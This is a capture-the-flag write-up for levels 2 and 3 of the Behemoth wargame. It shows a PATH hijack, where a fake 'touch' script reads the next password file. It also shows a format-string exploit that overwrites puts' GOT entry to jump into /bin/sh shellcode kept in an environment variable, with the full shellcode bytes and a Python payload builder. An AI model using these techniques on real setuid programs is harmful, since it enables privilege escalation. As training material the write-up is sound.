Level 2
This one started off as a bit of a fun one:
behemoth2@behemoth:/behemoth$ ./behemoth2
touch: cannot touch '180': Permission denied
^C
behemoth2@behemoth:/behemoth$ ./behemoth2
touch: cannot touch '186': Permission denied
^C
A run through strace
yields more information:
behemoth2@behemoth:/behemoth$ strace ./behemoth2
execve("./behemoth2", ["./behemoth2"], [/* 21 vars */]) = 0
[ Process PID=204 runs in 32 bit mode. ]
...
getpid() = 204
lstat64("204", 0xffffd5c0) = -1 ENOENT (No such file or directory)
unlink("204") = -1 ENOENT (No such file or directory)
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xffffd500) = 205
waitpid(205, touch: cannot touch '204': Permission denied
[{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0) = 205
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=205, si_status=1, si_utime=0, si_stime=0} ---
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({2000, 0}, ^CProcess 204 detached
<detached ...>
We now see where that number comes from - it’s the process’ PID - and the pause is due to the call to sleep
. Mmm.
Looking at the binary through strings
, we see something of interest:
behemoth2@behemoth:/behemoth$ strings behemoth2 | egrep -v -e'^(\.|_)'
/lib/ld-linux.so.2
libc.so.6
sprintf
unlink
getpid
system
sleep
GLIBC_2.4
GLIBC_2.0
PTRh
QVhm
cat
D$(
[^_]
touch %d
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
crtstuff.c
deregister_tm_clones
register_tm_clones
completed.6591
frame_dummy
behemoth2.c
data_start
sleep@@GLIBC_2.0
unlink@@GLIBC_2.0
lstat
getpid@@GLIBC_2.0
system@@GLIBC_2.0
main
sprintf@@GLIBC_2.0
And that’s the way touch
is invoked. It’s a little sneaky but you’ll notice it’s not using an absolute path. If this was /usr/bin/touch
instead there isn’t much we could have done. But what will happen is that the program will look for the first available touch
in $PATH
.
With this in mind we can create a ‘fake’ touch that might just output the password file.
behemoth2@behemoth:/behemoth$ cd /tmp
behemoth2@behemoth:/tmp$ cat > touch
#!/bin/sh
/bin/cat /etc/behemoth_pass/behemoth3
behemoth2@behemoth:/tmp$ chmod +x /tmp/touch
behemoth2@behemoth:/tmp$ PATH=/tmp:$PATH /behemoth/behemoth2
*** password ***
^C
Nice!
PS: I should note I tried a whole bunch of other stuff before deciding to start on a clean slate - it looks straightforward when put that way but it was anything but!
Level 3
At first glance we have a binary that takes user input and displays it back to us:
behemoth3@behemoth:/behemoth$ ./behemoth3
Identify yourself: santa
Welcome, santa
aaaand goodbye again.
Could it be passing our input directly?
behemoth3@behemoth:/behemoth$ echo 'AAAABBBB-%.x-%.x-%.x-%.x-%.x-%.x-%.x' | ./behemoth3
Identify yourself: Welcome, AAAABBBB-c8-f7fccc20-f7ff2e76-2-f7ffd000-41414141-42424242
aaaand goodbye again.
Right - format string exploitation time! The plan is to stick shellcode in an environment variable and get the binary to execute it. What address though? A quick glance through the binary doesn’t reveal much:
behemoth3@behemoth:/behemoth$ gdb -batch -ex 'file behemoth3' -ex 'disassemble main' Dump of assembler code for function main:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: and $0xfffffff0,%esp
0x08048483 <+6>: sub $0xe0,%esp
0x08048489 <+12>: movl $0x8048570,(%esp)
0x08048490 <+19>: call 0x8048330 <printf@plt>
0x08048495 <+24>: mov 0x80497a4,%eax
0x0804849a <+29>: mov %eax,0x8(%esp)
0x0804849e <+33>: movl $0xc8,0x4(%esp)
0x080484a6 <+41>: lea 0x18(%esp),%eax
0x080484aa <+45>: mov %eax,(%esp)
0x080484ad <+48>: call 0x8048340 <fgets@plt>
0x080484b2 <+53>: movl $0x8048584,(%esp)
0x080484b9 <+60>: call 0x8048330 <printf@plt>
0x080484be <+65>: lea 0x18(%esp),%eax
0x080484c2 <+69>: mov %eax,(%esp)
0x080484c5 <+72>: call 0x8048330 <printf@plt>
0x080484ca <+77>: movl $0x804858e,(%esp)
0x080484d1 <+84>: call 0x8048350 <puts@plt>
0x080484d6 <+89>: mov $0x0,%eax
0x080484db <+94>: leave
0x080484dc <+95>: ret
End of assembler dump.
We do not however the call to puts@plt
. This means puts
’ address will actually be resolved at runtime. We can look into the GOT
to find out where the lookup will happen:
abehemoth3@behemoth:/behemoth$ objdump -R behemoth3
behemoth3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049778 R_386_GLOB_DAT __gmon_start__
080497a4 R_386_COPY stdin
08049788 R_386_JUMP_SLOT printf
0804978c R_386_JUMP_SLOT fgets
08049790 R_386_JUMP_SLOT puts
08049794 R_386_JUMP_SLOT __gmon_start__
08049798 R_386_JUMP_SLOT __libc_start_main
0x08049790
will do nicely!
From there on it’s fairly mechanical. We start by finding the address of our environment variable:
behemoth3@behemoth:/tmp$ env -i SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"') /tmp/moth_behemoth3 SHELLCODE
SHELLCODE is at 0xffffdfc0
(/tmp/moth_behemoth3
is nothing more than a standard getenv
wrapper of the same length as the binary)
And build our payload. I got a little bored with the arithmetic so here’s a small function that does the needful:
from pwnlib.util.packing import p32
def s(addr=0x08049790, value=0xffffdfc0, offset=6):
lob = value & 0xffff
hob = (value >> 16) &0xffff
a = lob-0x8 if hob > lob else hob-0x8
offset1 = offset + 1 if hob > lob else offset
b = hob-lob if hob > lob else lob-hob
offset2 = offset if hob > lob else offset
return '{addr2}{addr}%.{a}x%{offset1}$hn%.{b}x%{offset2}$hn'.format(addr=p32(addr),addr2=p32(addr+0x2), a=a,b=b,offset1=offset1,offset2=offset2)
Giving us:
▒▒%.57272x%7$hn%.8255x%6$hn
Which we’ll just save to file for ease of use. Let’s just check we’re on the write track:
behemoth3@behemoth:/behemoth$ cat /tmp/payload | env -i strace /behemoth/behemoth3 2>&1 | grep si_addr --- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0xffffdfca} ---
Putting it all together:
behemoth3@behemoth:/behemoth$ (cat /tmp/payload;cat) | env -i SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"') /behemoth/behemoth3
...
whoami
behemoth4
cat /etc/behemoth_pass/behemoth4
*** password ***
Done!